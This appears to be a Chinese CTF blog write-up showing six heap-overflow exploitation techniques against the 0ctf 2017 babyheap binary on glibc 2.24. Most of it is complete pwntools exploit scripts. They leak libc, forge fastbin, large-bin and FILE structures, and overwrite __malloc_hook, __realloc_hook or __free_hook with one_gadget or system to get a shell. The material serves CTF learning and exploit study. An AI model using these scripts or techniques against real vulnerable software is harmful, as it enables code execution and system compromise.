堆溢出的六种利用手法

前言

忙恶心的工程实训,还耽误校招,只能说学校zz。
上次参加网鼎杯线下赛因为利用手法单一,libc版本太老无法本地调试且,one_gadget失效被打爆。
痛定思痛,回顾学习以下堆利用能够使用的常见方法。使用程序为0ctf2017的babyheap程序,libc为2.24版本。

程序分析

程序保护


程序开启了全保护。

程序功能


完整菜单,有alloc,fill,show,free功能。

alloc功能,可以申请16个大小不大于4096字节的堆块。
使用calloc分配。

fill功能,存在明显漏洞点,可进行任意字节的输入。堆溢出

free功能,free指定索引堆,并清除悬挂指针无漏洞。

show功能,使用write函数输出,不用考虑0字节截断问题。

漏洞分析

漏洞成因

堆漏洞利用的原因大部分都出在能够对free后的堆块进行写入,程序存在明显的堆溢出漏洞。堆溢出可以造成很多的问题,此题可以直接溢出向之后free状态的堆块进行写入会带来无穷无尽的安全问题。
通过堆溢出我们可以实现多种多样的利用手法。

信息泄露

程序使用calloc进行堆的分配。calloc同malloc类似只是会将申请到的堆块内容清0。所以常规的unsorted bin信息泄露的方式不可行。需要使用堆溢出进行配合
程序使用calloc进行堆的分配,


之后free堆块2,再申请一个0x60大小的堆块就可以通过show堆块3来泄露出libc的地址

漏洞利用

malloc_hook

最常见也是最容易的一种堆利用方法。
malloc函数会首先检查malloc_hook的值,若不为0则会调用他。若我们能通过内存写入malloc_hook即可实现任意地址跳转
通过fastbin_attack攻击malloc_hook。首先观察malloc_hook上方数据

fastbin在分配时并不检查对齐情况,将fastbin的fd设置为__malloc_hook-0x23,触发fastbin attack分配得到malloc_hook上方内存空间,向malloc_hook进行写入one_gadget得到权限。
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
p=process('./0ctf111')
e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')

p.readuntil('Command:')
context(log_level='debug')
def alloc(a):
p.writeline('1')
p.readuntil('Size:')
p.writeline(str(a))
p.readuntil('Command:')
def update(a,b,c):
p.writeline('2')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Size:')
p.writeline(str(b))
p.readuntil('Content:')
p.write(c)
p.readuntil('Command:')
def dele(a):
p.writeline('3')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Command:')

alloc(0x60) #0
alloc(0x60) #1
alloc(0x60) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x60) #5

payload='a'*96+p64(0x00)+chr(0xe1)
update(2,len(payload),payload)
dele(3)
alloc(0x60)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
print hex(libc)

sys=libc+e.symbols['system']
re_hook=libc+e.symbols['__realloc_hook']
mac_hook=libc+e.symbols['__malloc_hook']
realloc=libc+e.symbols['__libc_realloc']
io_list=libc+e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
alloc(0x60)#6
dele(4)
payload=p64(mac_hook-0x23)
update(6,len(payload),payload)
alloc(0x60)#4
alloc(0x60)#7
payload='a'*0x13+p64(libc+0x3f33a) //malloc_hook
#payload='a'*0xb+p64(libc+0x3f33a)+p64(realloc+2)
update(7,len(payload),payload)
success(hex(mac_hook))
success(hex(realloc))
gdb.attach(p)
p.interactive()

realloc_hook

一种很巧妙的利用方法。有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
观察一下realloc_hook值不为0时realloc函数过程。


流程为push寄存器,最后全部pop出来跳转至realloc_hook的值。
将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。

脚本:开始的函数一致。不再重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
alloc(0x60) #0
alloc(0x60) #1
alloc(0x60) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x60) #5

payload='a'*96+p64(0x00)+chr(0xe1)
update(2,len(payload),payload)
dele(3)
alloc(0x60)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
print hex(libc)

sys=libc+e.symbols['system']
re_hook=libc+e.symbols['__realloc_hook']
mac_hook=libc+e.symbols['__malloc_hook']
realloc=libc+e.symbols['__libc_realloc']
io_list=libc+e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
alloc(0x60)#6

dele(4)
payload=p64(mac_hook-0x23)
update(6,len(payload),payload)
alloc(0x60)#4
alloc(0x60)#7
#payload='a'*0x13+p64(libc+0x3f33a) //malloc_hook
payload='a'*0xb+p64(libc+0x3f33a)+p64(realloc+2)
update(7,len(payload),payload)
success(hex(mac_hook))
success(hex(realloc))
gdb.attach(p)
p.interactive()

free_hook

同malloc_hook类似,在调用free函数时会先检验free_hook的值。
但是free_hook上方都是0字节。不能直接通过fastbin_attack进行攻击,可以通过修改top
free_hook上方,之后申请内存至free_hook修改为system地址。
fastbin数组在top chunk指针上方。可以通过free fastbin chunk修改fastbin数组的值使的fastbin attack可以实现。 存在限制要求堆的地址以0x56开头

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
alloc(0x40) #0
alloc(0x40) #1
alloc(0x40) #2
alloc(0x40) #3
alloc(0x40) #4
alloc(0x40) #5
alloc(0x60)
alloc(0x60)
dele(6)
payload='a'*64+p64(0x00)+chr(0xa1)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x40)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
free_hook=libc+e.symbols['__free_hook']
print hex(libc)
alloc(0x40)
dele(6)
payload=p64(libc+0x398B35-0x8)

update(4,len(payload),payload)
alloc(0x40)

success(hex(libc+0x398B35-0x8))

alloc(0x40)
payload='a'*0x1b+p64(free_hook-0xb58)+'aaa'
update(8,len(payload),payload)
for i in range(0,6):
alloc(0x200)
system=libc+e.symbols['system']
payload=chr(0)*0xf8+p64(system)
update(14,len(payload),payload)
success(hex(libc+0x398B00))
success(hex(free_hook))

p.interactive()

利用io_overflow

house of orange的升级版本,在libc2.24以上的版本,对于文件结构的虚表存在限制,不能像之前一样修改虚表为堆地址实现。
但是可以借助已经存在的虚表IO_str_jumps
结构如下
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
其中_IO_str_overflow函数会调用文件对象fd+0xe0处的地址。
在house of orange的基础上进行更新,将虚表地址设置为
IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用。
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
alloc(0x90) #0
alloc(0x90) #1
alloc(0x90) #2
alloc(0x90) #3
alloc(0x90) #4
alloc(0x90) #5
alloc(0x60)
alloc(0x60)
dele(6)
payload='a'*0x90+p64(0x00)+p64(0x141)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x90)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
io_list_all_addr = libc + e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(libc + 0x3f33a)

alloc(0x90)
dele(6)
payload='a'*0x90+file_struct
update(3,len(payload),payload)
gdb.attach(p)
p.interactive()

利用io_finish

同之前io_overflow类似,io_finish会以_IO_buf_base处的值为参数跳转至fd+0xe8处的值。
设置虚表地址为io_str_jump-0x8(异常总会调用虚标+0x18处的函数)
设置_IO_buf_base为bin/sh字符串地址,设置0xe8偏移处为system函数。
相较io_overflow不会有one_gadget不可用的情况。
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
p=process('./0ctf111')
e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct


p.readuntil('Command:')
context(log_level='debug')
def alloc(a):
p.writeline('1')
p.readuntil('Size:')
p.writeline(str(a))
p.readuntil('Command:')
def update(a,b,c):
p.writeline('2')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Size:')
p.writeline(str(b))
p.readuntil('Content:')
p.write(c)
p.readuntil('Command:')
def dele(a):
p.writeline('3')
p.readuntil('Index:')
p.writeline(str(a))
p.readuntil('Command:')

alloc(0x90) #0
alloc(0x90) #1
alloc(0x90) #2
alloc(0x90) #3
alloc(0x90) #4
alloc(0x90) #5
alloc(0x60)
alloc(0x60)
dele(6)
payload='a'*0x90+p64(0x00)+p64(0x141)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x90)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
io_list_all_addr = libc + e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
binsh_addr=libc+0x1618b9
file_struct = pack_file(_flags = 0,
_IO_read_ptr = 0x61,
_IO_read_base = io_list_all_addr-0x10,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)

file_struct += p64(jump_table_addr-0x8)+p64(0)
file_struct += p64(libc + e.symbols['system'])
alloc(0x90)
dele(6)
payload='a'*0x90+file_struct
update(3,len(payload),payload)
success(hex(jump_table_addr-0x8))

p.interactive()

large bin attack修改free_hook

原理同0ctf heapstorm类似,unsorted bin链表卸载转移到large bin时会有两次的内存写操作,将内存写入自己堆块的地址。利用这两次写伪造出一个在free_hook上方的chunk,并使unsorted bin的bk指针指向这个伪造的chunk。再次分配即可分配到free_hook上方任意地址。

之前分析过可以参考博客http://www.pwndog.top/2018/07/27/0ctf-heapstorm%E7%AC%94%E8%AE%B0/

http://www.pwndog.top/2018/07/24/malloc%E5%87%BD%E6%95%B0%E6%BA%90%E7%A0%81%E7%AC%94%E8%AE%B0/
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
alloc(0x90) #0
alloc(0x90) #1
alloc(0x90) #2
alloc(0x90) #3
alloc(0x90) #4
alloc(0x90) #5


payload='a'*0x90+p64(0x00)+p64(0x141)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x90)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
free_hook=libc+e.symbols['__free_hook']
alloc(0x90)
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
alloc(0x20)
alloc(0x510)
alloc(0x20)
alloc(0x520)
alloc(0x20)

dele(1)

alloc(0x600)
payload='a'*0x20+p64(0)+p64(0x511)+p64(0)+p64(free_hook-0x20+0x8)+p64(0)+p64(free_hook-0x45+0x8)
dele(3)

update(0,len(payload),payload)


payload='a'*0x20+p64(0)+p64(0x521)+p64(0)+p64(free_hook-0x20)
update(2,len(payload),payload)
success(hex(free_hook))
system=libc+e.symbols['system']
alloc(0x40)
payload='/bin/sh'+chr(0)*9+p64(system)
update(3,len(payload),payload)
p.interactive()

结语

最后写的越来越累,写脚本时很爽,但是描述起来太麻烦。稍有偷懒以后有时间再编辑。